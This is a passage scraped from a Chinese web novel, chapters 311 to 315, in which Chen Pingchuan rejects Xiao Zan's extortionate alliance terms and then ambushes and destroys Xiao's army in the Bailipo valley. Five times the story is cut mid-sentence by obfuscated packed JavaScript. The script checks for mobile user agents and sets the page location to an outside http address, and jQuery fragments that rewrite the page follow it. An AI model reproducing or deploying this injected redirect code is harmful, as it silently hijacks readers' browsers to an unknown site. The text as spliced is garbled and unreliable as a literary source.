d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217695|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“哈哈哈哈!好!好一个结盟大事!” 他站起身,眼中的寒光一闪而过。 这萧赞,看来还是个急性子。 “让他进来。”陈平川挥了挥手,声音里带着一丝玩味,“我倒要看看,他想怎么个‘盟’法。” 他重新坐回主位,原本因为思考战局而显得有些严肃的脸上,此刻,竟然露出了一丝和煦的微笑。 只是,了解他的人都知道,当他笑得越是和善时,就意味着,有人要倒大霉了。 江徽府议事大堂,灯火通明。 陈平川高坐主位,下方两侧,林沧海、海哥、丁远、林勇、石头等一众文武将官,分列而坐。 所有人的目光,都集中在大堂中央,那个刚刚被带进来的人身上。 来人约莫四十岁年纪,一身锦缎长袍,他走进大堂,目光扫过众人,最后落在了主位上那个看起来还有些稚嫩的年轻人身上,眼中明显闪过一丝惊讶。 他听过陈平川的丰功伟绩,却没想过,竟如此年轻。 “请问您就是陈平川,陈大人?”使者开口,语气带着敬畏。 他不会因为陈平川年轻,就轻视对方,反而更加忌惮。 陈平川脸上带着微笑,他饶有兴致地打量着这个使者。 “真是陈某。”他伸手示意了一下,“不知萧将军派阁下前来,所为何事啊?” 那使者从怀里掏出一份早已准备好的盟约,朗声说道:“萧将军说了,念在您是抗倭的英雄,对大业百姓也算有功。他不愿与您刀兵相向,特派我前来,愿与您结为兄弟之盟!” “哦?兄弟之盟?”陈平川眉毛一挑,脸上的笑容更深了,“这倒是好事啊。不知这盟约,具体是如何章程?” 使者犹豫了一下,还是念道: “其一,结盟之后,两府当以长幼分序。我家萧将军,戎马半生,年长于您,当为盟主。您为副盟主。” “其二,为示结盟诚意,江徽府当即刻开放所有通商口岸,与建州府互通有无,不得设卡抽税。” “其三,也是最重要的一条。如今朝廷昏聩,天下将乱,正是招兵买马,匡扶社稷之时。江徽府富庶,理应为盟军大业多做贡献。自结盟之日起,每年,需向建州府进贡白银五十万两,粮食十万石,上好兵器三千件,以作盟军军资!” 第311章 百里坡设局引敌,万钧炮轰碎雄心 使者每念一条,堂下众将的脸色就黑一分。 当他念到最后一条时,整个大堂,瞬间炸了锅。 “****!”海哥第一个忍不住,直接跳了起来,指着使者的鼻子破口大骂,“这他妈是结盟?这他妈是来**的!还盟主?他萧赞算个什么东西,也配做咱们主公的兄长?” “五十万两白银?十万石粮食?他怎么不去抢!”林勇气得浑身发抖,“主公,别跟他废话了,让末将现在就去把他脑袋拧下来当球踢!” 石头更是闷吼一声,那砂锅大的拳头捏得咯咯作响,一双牛眼死死地瞪着使者,仿佛下一秒就要扑上去把他撕成两半。 就连一向沉稳的林沧海和刚刚归降的丁远,也是面色铁青,眼神冰冷。 这哪里是结盟,这分明就是赤裸裸的讹诈和羞辱! 整个大堂,群情激奋,杀气腾腾。 那使者被这阵势吓得腿肚子都有些发软,连忙跪倒叫道:“别,别杀我,我只是来传达萧将军的意思……” 陈平川表情平静,他轻轻抬了抬手,喧闹的大堂瞬间安静了下来。所有人都看向他,等待着他的决断。 看着那个已经冷汗直流的使者,陈平川笑呵呵地问道:“听起来,这条件确实是挺丰厚的。只是我有些好奇,我付出了这么多,不知道……我能得到什么好处呢?” 他的语气,平淡得就像是在菜市场问价钱。 那使者一愣,他咽了口唾沫,说道:“好处……好处就是,只要你答应了这些条件,萧将军,便可保江徽府一方平安!” 他顿了顿,语气畏畏缩缩,生怕陈平川发怒,但又不得不说。 “否则……我家将军说他只需一声令下,不日,便可踏平江徽府!” “到时候,别说是白银粮食,恐怕连您自己的项上人头,都保不住了!” 话音落下。 整个大堂的空气,仿佛在这一瞬间,凝固了。 所有人的呼吸,都停滞了。 他们看到,主位之上,陈平川脸上的笑容,一点一点地,消失了。 取而代之的,是一种令人灵魂都感到战栗的,彻骨的冰冷。 他缓缓地,从主位上,站了起来。 一步,一步,走下台阶。 大堂之内,落针可闻。 所有人都屏住了呼吸,看着那个从台阶上缓缓走下的身影。 陈平川的动作很慢,也没有说话,但身上散发出的那股无形的压力,却让整个大堂的温度都仿佛下降了好几度。 已经很害怕的建州使者,看着一步步逼近的陈平川,只觉得一股寒气从脚底板直冲天灵盖,双腿不受控制地开始打颤,一步步地向后退去。 “大……大人……”使者的声音已经带上了哭腔,他真害怕陈平川一剑砍了他! 陈平川一直走到他的面前,才停下脚步。 两人的距离,不足三尺。 使者甚至能清晰地看到,陈平川那双漆黑的眸子里,倒映出自己惊恐万状的脸。 “萧赞的意思是……”陈平川终于开口了,“我陈平川的平安,需要他来保?” 他身上的杀气压得使者喘不上起来。 那不是装出来的,而是真正从尸山血海里爬出来,才有的实质般的煞气。 是从斩杀倭寇,到覆灭定海水师,一步步积累起来的,属于胜利者的绝对气场。 “我……”使者张了张嘴,却一个字也说不出来,牙齿上下打着架,发出“咯咯”的声响。 他怕了,是真的怕了。 他这才意识到,萧赞有眼无珠,而自己,更是个不知死活,跑来拔老虎胡须的蠢货! “您……您不能杀我!”情急之下,他想起了最后的保命符,“两……两国交兵,不斩来使!这是规矩!” “呵呵。”陈平川笑了,笑声里充满了不屑和嘲弄。 “我当然不杀你。” 只听“唰”的一声,那份盟约,已经被陈平川夺了过去。 然而,下一秒,陈平川双手抓住盟约的两端,只是轻轻一用力。 “刺啦——!” 那份写满了**条款的盟约,瞬间被撕成了两半。 陈平川双手翻飞,又是几下。 “刺啦!刺啦!刺啦!” 顷刻之间,那份盟约,就被撕成了无数的碎片。 陈平川松开手,任由那些碎纸屑,如同雪花一般,纷纷扬扬地,飘落在使者惊恐的眼前。 “回去告诉萧赞。” 陈平川的声音,冰冷得不带一丝温度。 “想要我的银子,想要我的粮食,想要我的江徽府。” 他看着使者那张惨白的脸,一字一顿地说道: “让他自己,来拿!” 说完,他看都懒得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217696|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看这个已经吓瘫了的使者一眼,转身,大步走回自己的主位。 “来人!” “在!”两名亲兵立刻上前。 “送客!” “是!” 两名亲兵架起已经软得像一滩烂泥的使者,就像拖一条死狗一样,将他拖出了议事大堂。 整个大堂,依旧是一片死寂。 所有将领的胸中,都有一团火,在熊熊燃烧。 爽! 太**爽了! 陈平川那霸气无比的宣言,让他们觉得,自己跟对了人! “主公威武!” 不知是谁,第一个吼了出来。 瞬间,整个大堂,如同火山喷发。 “主公威武!” “主公威武!” 林勇、石头、海哥等人,齐刷刷地单膝跪地,群情激奋。 “主公!下令吧!”林勇抬起头,满脸涨红,“末将愿为先锋!三日之内,必定提着那萧赞的狗头,回来见您!” “没错!主公!干**!”海哥也叫嚷道,“他有三万兵马又咋样?咱们不怕他!正好让新来的兄弟们见见血!我镇海舰队,随时可以封锁建州沿海,断他后路!” “请主公下令!” 堂下,请战之声,此起彼伏,汇成一股滔天的声浪。 陈平川坐在主位上,看着下方一张张战意盎然的脸,心中也是豪情万丈。 这就是他的班底,一群嗷嗷叫的狼! 他抬起手,虚按了一下。 请战声,渐渐平息。 他看着众人,缓缓开口,声音里带着一种让人信服的沉稳力量: “打,是一定要打的。” “但是,不用我们主动出击。” 众将闻言,都是一愣。 只听陈平川继续说道:“萧赞此人,骄狂自大。今日受此大辱,以他的性子,必定会倾巢而出,杀奔我江徽府而来。我们就在家里,等着他自己上门!” 他站起身,走到巨大的沙盘地图前,目光扫过江徽府和建州府的地形。 “这一战,我们不只是要击败他。” 他的手指,在地图上重重一点。 “我更要借他萧赞的人头,来告诉天下所有还在觊觎我江徽府的宵小之辈一个道理!” 他转过身,目光如电,扫过每一位将领的脸。 “敢觊觎我陈平川土地者——” “杀无赦!” 第312章 三万狂兵争入瓮,一朝智计定乾坤 建州府,总兵府。 萧赞正搂着新纳的美妾,喝着小酒,听着小曲,等着他的使者带着好消息回来。 在他看来,这次的“结盟”,十拿九稳。 陈平川一个黄口小儿,就算打赢了定海水师,那也是靠着偷袭和运气。论真正的实力和底蕴,怎么能跟他这个坐拥三万精兵的**湖比? 他开出的条件,虽然苛刻,但在他看来,却是合情合理。 强者,就应该支配弱者! 他这是在给陈平川一个机会,一个抱他大腿的机会。 他甚至已经开始盘算,等拿到了江徽府的钱粮兵器,该如何扩充军队,然后是向西吞并,还是向北发展,最终在这乱世之中,成就一番霸业。 “报——!” 一声急促的禀报,打断了他的美梦。 “将军!派往江徽府的使者回来了!”一名亲兵跑进来报告。 萧赞满怀希望,推开怀里的美妾,点头道:“让他进来。” 很快,那个倒霉的使者,被人搀扶着,一瘸一拐地走了进来。 他身上的锦袍已经变得又脏又破,脸上还有几道划痕,头发散乱,狼狈得像个乞丐。 萧赞一看他这副模样,心里顿时“咯噔”一下,一股不祥的预感涌上心头。 “怎么回事?陈平川他答应了没有?”萧赞急切地问道。 使者“扑通”一声跪倒在地,摇头道:“将军!那陈平川不愿与您结盟!” 他将自己在江徽府议事大堂的遭遇,描述了一遍。 当他学着陈平川的语气,说出那句“让他自己,来拿!”的时候,萧赞的脸,已经由红转青,由青转紫,最后变得像黑锅底一样。 “砰!” 他猛地一拍桌子,酒水菜肴,洒了一地。 “竖子!安敢辱我!” 萧赞气得暴跳如雷,浑身的肥肉都在颤抖。 他感觉自己受到了生平未有之奇耻大辱。 他萧赞是什么人?是建州府说一不二的土皇帝! 他主动递出橄榄枝,那个不知天高地厚的小子,竟然敢当众撕毁盟约,还说出这等狂悖之言! 这是在打他的脸!是把他萧赞的脸,扔在地上,还狠狠地踩上了几脚! “好啊,这个陈平川以为我萧赞是纸老虎?!”萧赞在堂中来回踱步,胸膛剧烈地起伏着,眼中的怒火,几乎要喷出来。 “将军息怒!”堂下,一名谋士连忙上前劝道,“陈平川此举,或许是故意激怒将军,其中恐有诈。” “有诈?能有什么诈?”萧赞一脚踢翻了身边的椅子,怒吼道,“他江徽府撑死不过万余兵马,其中还有大半是新降之兵,人心不稳!我手握三万精锐,兵强马壮!难道还怕了他不成?” “传我将令!”萧赞双目赤红,彻底被愤怒冲昏了头脑,“点齐兵马!所有能战之兵,一个不留!三万大军,倾巢而出!” “我要亲率大军,踏平江徽府!我要让那陈平川,跪在我的面前求饶!” “我要把他的头,挂在江徽府的城楼上!让所有人都看看,得罪我萧赞,是什么下场!” 军令一下,整个建州府,立刻兵马雷动。 三万大军,在短短一天之内,便完成了集结。 旌旗蔽日,刀枪如林,带着一股滔天的杀气,浩浩荡荡地杀向江徽府。 而另一边,陈平川早已得到消息。 他没有在边境线上布置任何防线,而是下达了一连串看似荒唐的命令。 “传令破虏军,全线后撤,不得与敌军发生任何接触。” “后撤途中,故意丢弃一些粮草,记住,要丢得真一点,米袋子划破几道口子,让米撒上一路。” “再把神机营那些淘汰下来的,修不好的破旧兵器,什么生锈的刀,断掉的矛,都扔在路上。” “斥候部队,远远地吊着他们就行,不要靠太近,做出一种仓皇逃窜,连像样的反击都组织不起来的假象。” 接到命令的将领们,虽然有些不解,但出于对陈平川的绝对信任,还是不折不扣地执行了。 于是,一幅诡异的画面,在江徽府的土地上展开了。 萧赞的三万大军,如同猛虎下山,气势汹汹。 可他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226431|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路上,连陈平川军队的影子都没见到一个。 “报!将军!前方发现敌军丢弃的粮草!” “报!将军!前方道路上,发现大量被遗弃的破损兵器!” “报!将军!我军前锋已追出五十里,敌军主力仍在向江徽府腹地溃逃,毫无抵抗意志!” 一条条“捷报”,不断地传到萧赞的中军大帐。 萧赞和他麾下的将领们,听着这些消息,一个个笑得合不拢嘴。 “哈哈哈!我就说嘛!那陈平川,就是个银样蜡枪头!中看不中用!”萧赞得意地捋着胡须,“还没开打,就吓得屁滚尿流,连粮草兵器都不要了!” “将军神威!那陈平川闻风丧胆,想必此刻已经躲在府衙里瑟瑟发抖了!”一个马屁精将领立刻奉承道。 “传令全军!加速追击!不要给他喘息的机会!务必在江徽府城下,将其全歼!” 在萧赞看来,陈平川这已经是彻底放弃了野战,准备缩回城里死守了。 他更加骄狂,放松了所有的警惕,率领着大军长驱直入,一头扎进了江徽府的腹地。 他根本没有意识到,一个巨大的陷阱,已经悄然张开。 江徽府,一处临时搭建的指挥高台上。 陈平川手持望远镜,冷静地看着远处那条由萧赞大军组成的,不断向前蠕动的黑色长龙。 “主公,鱼儿已经上钩了。”林沧海站在他身边,沉声说道。 陈平川点了点头,放下了望远镜。 他摊开地图,手指落在一个被他用红笔圈起来的地方。 “百里坡……”他轻声念道。 那是一片极为开阔的坡地,但它的地形却非常特殊。 三面,都是陡峭的山壁,只有一个宽阔的入口,同时,也是唯一的出口。 一个天然的,巨大的口袋。 “传令下去。”陈平川的眼神,变得无比锐利,“让林勇和石头,立刻带人,到预定地点埋伏。告诉他们,听我鼓声为号,一旦鼓响,不惜一切代价,也要把口袋给我扎紧了!” “是!”传令兵领命而去。 第313章 死神咆哮!萧赞,这就是送你的大礼! 陈平川的目光,再次投向远方。 他看到,萧赞大军的前锋,已经浩浩荡荡,接近了百里坡的入口。 而在那入口之内,他亲率的破虏军主力,早已严阵以待。 “萧赞啊萧赞,给你准备的这份大礼,希望你……会喜欢。”陈平川的嘴角,勾起一抹冰冷的弧度。 决战的时刻,到了。 百里坡,谷口。 萧赞骑在高头大马上,意气风发。 他看着前方那片开阔的坡地,以及在坡地尽头,严阵以待的陈平川军阵,脸上露出了轻蔑的笑容。 “哼,终于不跑了?这是打算在这里,跟本将军决一死战吗?” 他身边的副将观察了一下地形,皱眉道:“将军,此地三面环山,地形险要,万一有埋伏……” “埋伏?”萧赞不耐烦地打断了他,“埋伏个屁!你看他那阵型,稀稀拉拉,最多不过万人!本将军有三万铁骑,一人一口唾沫,都能淹死他!他这是黔驴技穷,被我们逼到绝路,不得不战了!” “再说,就算他有埋伏,老子的骑兵一阵风就冲出去了,他还能留得住老子不成!” 在他看来,陈平川选择在这里决战,简直是愚蠢至极。 这种开阔地,正好是发挥他骑兵优势的最佳场所。 “传令!”萧赞抽出腰间的佩刀,向前一指,声如洪钟,“前锋营,给老子冲!把他们的阵型冲垮!中军跟进,一鼓作气,将他们全部碾碎!” “是!” “呜——呜——” 苍凉的号角声响起。 萧赞军的前锋,近五千名骑兵,发出一阵震天的呐喊,如同开闸的洪水,卷起漫天烟尘,朝着陈平川的军阵,猛扑过去。 马蹄声如雷,大地震颤。 面对这泰山压顶般的气势,破虏军的阵列中,却是一片沉寂。 陈平川立于阵前,面沉如水,眼神没有一丝波澜。 他静静地看着那越来越近的铁骑洪流,直到他们冲入了**的最佳射程。 “放!” 他冷静地吐出一个字。 “嗖!嗖!嗖!嗖!” 早已准备多时的数千名**手,同时松开了手中的弓弦。 密集的箭雨,如同一片乌云,腾空而起,在空中划过一道死亡的弧线,狠狠地砸进了冲锋的骑兵阵中。 “噗!噗嗤!” 人仰马翻,惨叫四起。 冲在最前面的数百名骑兵,瞬间被射成了刺猬,连人带马,翻滚在地。 然而,萧赞的骑兵数量太多了。 后续的骑兵,踏过同伴的尸体,继续疯狂地向前冲锋。 很快,双方的距离,已经不足百步! 就在这时,陈平川的令旗,再次挥下。 “退!” 军令一下,破虏军的前排士兵,立刻举起盾牌,开始缓缓向后退去。 而他们身后的**兵,则组成一道道钢铁防线,一边用**拒敌,一边交替掩护着后退。 整个过程,井然有序,阵型丝毫不乱。 “哈哈哈!顶不住了!他们顶不住了!” 萧赞在后面看得清楚,放声大笑。 在他看来,陈平川的军队,在自己的铁骑冲击下,已经开始溃败了。 “全军出击!不要让他们跑了!”他兴奋地吼道,以为胜利就在眼前。 萧赞的中军和后军,也开始加速,如同一条巨大的**蛇,将整个身体,都涌入了百里坡这个巨大的“口袋”之中。 破虏军的“败退”,仍在继续。 他们退得不快不慢,始终与追击的敌军,保持着一个微妙的距离。 就像一个经验丰富的渔夫,在慢慢地溜着一条已经上钩的大鱼。 萧赞杀红了眼,根本没有察觉到任何异常。他只想着追上去,将这支“不堪一击”的军队彻底消灭,根本没注意到,他和他麾下的三万大军,已经完全深入到了山谷的腹地。 山谷两侧的山壁上,林勇和石头,正死死地趴在草丛里,手心里全是汗。 他们看着下方那黑压压的敌军,心脏都快跳到了嗓子眼。 他们在等。 等一个信号。 一个决定胜负的信号。 陈平川也在等。 他一边指挥着部队“败退”,一边用眼角的余光,不断地估算着敌军的位置。 快了。 就快了。 当萧赞最后一支后备部队的尾巴,也完全进入百里坡的谷口时,陈平川的眼中,猛然爆射出一道骇人的精光! 就是现在! 他猛地回头,对着身后的传令兵,发出一声怒吼: “擂鼓!” “咚——!” 一声沉闷而巨大的鼓声,毫无征兆地,在这片山谷中,轰然炸响! 这声鼓,仿佛一个信号。 下一秒! “咚!咚!咚!咚!咚!” 山谷的两侧,山顶之上,突然冒出了十几座圆柱形的铁疙瘩,黑乎乎的炮口对准了下方的敌军! 赤膊的壮汉,点燃了尾部引线,随着一声震耳欲聋的轰鸣,炙热的铁弹拖着长长的尾焰,如同死神的怒吼,呼啸着砸进了拥挤不堪的萧赞军阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226432|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中! **的瞬间,火光冲天,血肉横飞!坚硬的铁弹以无可匹敌的力量,轻易地撕开了士兵们的身体,将他们连人带马炸得四分五裂。 一时间,惨叫声、哀嚎声、战马的悲鸣声混杂在一起,形成了一曲绝望的地狱交响。密集的阵型在这一刻带来了毁灭的打击,每一发炮弹落下,都会在人群中犁开一道血肉模糊的沟壑。 残肢断臂被高高抛起,又如同血雨般落下,侥幸未死的士兵被**的气浪掀翻在地,耳中嗡嗡作响,眼前只剩下同伴支离破碎的尸体和一片触目惊心的血红。他们惊恐地抬头,只看到山顶上那一个个黑洞洞的炮口,如同恶魔的眼睛,正不断喷吐着死亡的火焰。 整个百里坡,仿佛都在这惊天动地的炮声中,剧烈地颤抖! “杀——!” 伴随着雷鸣般的炮声,是山崩海啸般的喊杀声! 在萧赞军惊恐万状的目光中,山谷两侧的山壁上,突然冒出了无数的人影! 左侧,一面“林”字大旗,迎风招展!林勇手持大刀,一马当先,带着数千伏兵,如猛虎下山,直扑萧赞军的腰部! 右侧,一面“石”字大旗,猎猎作响!石头扛着他的那根标志性的狼牙棒,发出野兽般的咆哮,率领着另一支奇兵,如同泰山压顶,狠狠地砸向敌军的侧翼! 最致命的,是谷口的方向! 那里,原本是他们进来的地方,是他们唯一的退路! 可现在,那宽阔的谷口,已经被无数手持巨盾和**的士兵,堵得严严实实! 无数的拒马和鹿角,被迅速地布置起来,形成了一道根本无法逾越的死亡防线! 截断后路! 两翼突袭! 一个完美的包围圈,在这一刻,彻底形成! “不好!中计了!我们中埋伏了!” 萧赞军中,终于有人反应了过来,发出了绝望的嘶喊。 萧赞脸上的笑容,彻底凝固了。 他呆呆地看着眼前这如同末日降临般的景象,一股彻骨的寒意,瞬间传遍全身。 他终于明白了。 对方不是在败退。 对方,是在请君入瓮! 而他,就是那只自投罗网的,愚蠢至极的—— 瓮中之鳖! 就在他愣神的功夫,前方那支一直在“败退”的破虏军,也停下了脚步。 他们不再后退,而是猛地调转方向,组成一个巨大的,锋利的箭头,朝着已经陷入混乱的萧赞军,狠狠地反扑过来! 三面合围! 绝杀之局! 第314章 铁蹄踏碎帝王梦,血染山河霸业终 “稳住!都给老子稳住!” 萧赞终于从震惊中反应过来,他声嘶力竭地嘶吼着,试图重新组织起混乱的军队。 “后队变前队!顶住谷口的敌人!两翼就地结阵!给我挡住他们!挡住他们!” 他的命令,在雷鸣般的炮声和山崩海啸的喊杀声中,显得那么苍白无力。 没用了。 一切都太晚了。 他的三万大军,像被赶进屠宰场的猪羊,完全被压缩在了这个狭长的山谷里。人挤着人,马挨着马,连转身都变得困难,更别提结成有效的防御阵型了。 恐慌,如同瘟疫一般,在士兵中疯狂蔓延。 “我们被包围了!” “快跑啊!” “没有路了!退路被堵**!” 士兵们像没头的苍蝇一样四处乱撞,阵型彻底崩溃,自相践踏,造成的伤亡,甚至比敌人进攻还要大。 而陈平川的军队,就是在这时,发动了最冷酷,也最致命的攻击。 正面,陈平川亲率的破虏军,化作一柄无坚不摧的铁锥,狠狠地楔进了混乱的敌阵里。 最前排的,是重甲盾兵。他们组成一道移动的钢铁城墙,无情地向前推进,用巨大的盾牌,将混乱的敌军,撞得人仰马翻。 盾墙的缝隙里,伸出的是一排排闪着寒光的**。 “刺!” 随着指挥官一声令下,数千杆**,整齐划一地向前刺出。 “噗噗噗!” 血肉被洞穿的声音,连成一片。 当面的敌军,像被割倒的麦子一样,成片成片地倒下。 一轮刺杀过后,**迅速收回。 “刺!” 又是一轮。 简单,高效,冷酷。 这已经不是战斗了,这是一场单方面的,有组织的**。 在破虏军的后方,全伯的神机营,也露出了狰狞的獠牙。 他们没有使用火炮,因为在这种混战中,火炮容易误伤自己人。 但他们带来了另一种更可怕的武器。 “万人敌!” 随着一声令下,数十个壮汉,合力抬着一个个巨大的,像蜂巢一样的木箱子,走到了阵前。 木箱的前方,是密密麻麻上百个黑洞洞的管子。 “点火!” 引线被点燃,发出“滋滋”的声响。 下一秒! “咻咻咻咻咻——!” 数千支短小的火箭,拖着刺耳的尖啸声,如同暴雨一般,从那些木箱中喷射而出,覆盖了前方一大片区域! 这些火箭的威力虽然不大,但胜在数量多,覆盖面广。 被火箭射中的敌军,瞬间被点燃,变成一个个惨嚎的火人,在混乱的军阵中疯狂奔跑,又引燃了更多的同伴。 整个山谷,仿佛变成了一个巨大的人间炼狱。 而山谷的两侧,林勇和石头的攻势,同样凶猛。 林勇的部队,从山坡上俯冲而下,利用居高临下的优势,将滚木和擂石,狠狠地砸进敌军密集的阵型中。 “轰隆隆!” 巨石翻滚,木屑横飞,每一次撞击,都能在敌军中,清空一大片区域。 石头和他率领的部队,则更加简单粗暴。 这个身高两米的巨汉,扛着他那根比人还粗的狼牙棒,第一个冲进了敌阵。 “吼——!” 他发出一声野兽般的咆哮,手中的狼牙棒,带着呼啸的风声,横扫而出。 “砰!” 挡在他面前的几名敌兵,连惨叫都没来得及发出,就像被拍飞的稻草人一样,筋断骨折地飞了出去,顺便还撞倒了一大片。 石头如同一台人形的绞肉机,在他面前,任何的盔甲和盾牌,都跟纸糊的一样。 他所到之处,血肉横飞,无人能挡其一合之威! 他身后的士兵,被主将的悍勇所激励,一个个也都嗷嗷叫着,跟随着他的脚步,疯狂地**着已经彻底崩溃的敌人。 谷内的萧赞军,彻底完了。 他们的抵抗,变成了徒劳的挣扎。 他们的勇武,在绝对的战术和装备压制下,成了一个笑话。 有人跪地求饶,立刻被无情的**刺穿。 有人转身想跑,却发现身后是自己人拥挤的身体和绝望的脸。 还有人精神崩溃,扔掉武器,抱着头蹲在地上,然后被自己人慌乱的马蹄,踩成一滩肉泥。 鲜血,染红了百里坡的土地。 惨叫声,哀嚎声,求饶声,汇成了死亡的交响曲。 陈平川冷静地看着眼前的一切,心中没有丝毫的怜悯。 战争,就是如此残酷。 对敌人的仁慈,就是对自己的残忍。 他要的,就是这样一场酣畅淋漓的大胜! 是一场足以震慑所有宵小之辈的,血腥的**! 他的目光,穿过混乱的战场,精准地锁定在了远处,那面代表着萧赞本人的,中军大旗上。 擒贼,先擒王! 只要拿下萧赞,这场战斗,就可以提前结束了。 他对着身边一直没有动手的几个人,轻轻一挥手。 “该你们了。” 马三、玲儿、阿魅……暗影部队,如同鬼魅一般,从他身后闪出,悄无声-息地,融入了混乱的战场。 他们的目标,只有一个。 萧赞! 此时,萧赞被他仅存的数百名亲兵,死死地护在中央,脸色惨白如纸,眼神里充满了惊恐和绝望。 他看着自己的军队,在三面夹击之下,如同被屠宰的牲口一样,成片成片地倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226433|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,心在滴血。 他半生的心血,他称王称霸的野心,在这一刻,都随着这满地的尸体,化为了泡影。 “保护将军!快!保护将军撤退!”亲兵队长还在声嘶力竭地呼喊着,试图杀出一条血路。 但,他们已经被破虏军的主力死死咬住,四面八方都是敌人,哪里还有什么退路? 就在这时,几道黑影,利用混乱的人群和弥漫的硝烟作为掩护,悄无声息地贴近了萧赞的亲卫圈。 一名亲兵正紧张地四处张望,忽然感觉脖子一凉,他下意识地伸手去摸,却只摸到了一手的温热液体和一截冰冷的刀锋。 他惊恐地瞪大眼睛,却连一丝声音都发不出来,便软软地倒了下去。这只是一个开始。 阿魅的身影如同飘忽的柳絮,在人群的缝隙中穿梭,每一次飘过,都有一名亲兵捂着喉咙倒下,咽喉上多出了一道细细的血线。 玲儿则像一只猫,矮小的身形让她可以轻易地从马腹下钻过,手中的双匕,总能从最刁钻的角度,刺入敌人盔甲的缝隙。 而马三则更加直接,他如同一头沉默的猛虎,每一次出手,都是一击毙命,简洁而高效。 亲兵们惊恐地发现,他们甚至看不清敌人的脸,身边的同伴就一个接一个地无声倒下。原本坚固的防线,瞬间被撕开了一个个缺口。 亲兵队长刚想转身示警,一柄短剑就无声无息地从他后心穿出,染血的剑尖从他胸前透出,他难以置信地低下头,眼中充满了绝望。 萧赞吓得魂飞魄散,眼看着身边最精锐的亲兵如同被死神点名般一个个倒下,他再也顾不上什么将军的威严,拨转马头,在仅剩的三四个亲兵的簇拥下,仓皇地向着谷外逃去。 见状,陈平川沉声喝道:“给燕飞信号!” 旁边的亲兵立即挥动手里的红色小旗。 “收到!” 早已在高处占据了最佳狙击位置的燕飞,看到信号后,立即锁定了在亲兵重重保护下的萧赞。 他没有瞄准萧赞本人。 因为距离太远,而且萧赞身上穿着厚重的盔甲,周围又有亲兵保护,一箭射杀的把握不大。 他的目标,是萧赞胯下的那匹,神骏非凡的西域宝马! 射人先射马! 燕飞缓缓拉开手中的特制强弓,弓身被拉成一个完美的满月。 他屏住呼吸,整个世界,仿佛只剩下他和那个不断移动的目标。 风速,距离,目标移动的速度…… 所有的信息,在他脑中,瞬间计算完成。 “嗡——!” 弓弦一声轻响。 一支通体黝黑的狼牙箭,如同黑色的闪电,撕裂空气,带着尖锐的呼啸声,跨越了数百步的距离! 第315章 这天下,还有谁敢惹我江徽府? 正在马上焦急寻找出路的萧赞,突然听到耳边传来一阵异响。 他还没反应过来,就感觉胯下一软! “唏律律——!” 他那匹价值千金的宝马,发出一声凄厉的悲鸣,巨大的马头上,赫然多出了一支深深没入的箭矢! 巨大的动能,带着它轰然倒地。 萧赞猝不及防,整个人像个滚地葫芦一样,从马背上重重地摔了下来。 “砰!” 他那肥硕的身体,砸在满是石子的地上,摔得他七荤八素,眼冒金星。 “将军!” “保护将军!” 周围的亲兵大惊失色,连忙冲上来,想要将他扶起。 然而,已经太晚了。 “吼——!” 一声如同惊雷般的咆哮,在他们耳边炸响。 众人骇然回头,只见一个如同铁塔般的巨汉,扛着一根狰狞的狼牙棒,已经冲破了外围的防线,正以一种无可匹敌的气势,朝着他们冲来! 正是石头! “拦住他!快拦住他!”一个亲兵惊恐地尖叫。 其余几个亲兵,举着刀盾,怒吼着迎了上去。 石头看着这些挡路的蝼蚁,眼中闪过一丝不屑。 他甚至没有用狼牙棒,只是将那巨大的棒子往地上一插,然后伸出他那蒲扇般的大手,迎着冲上来的敌人,直接抓了过去! 一名亲兵一刀砍向石头的胳膊。 “铛!” 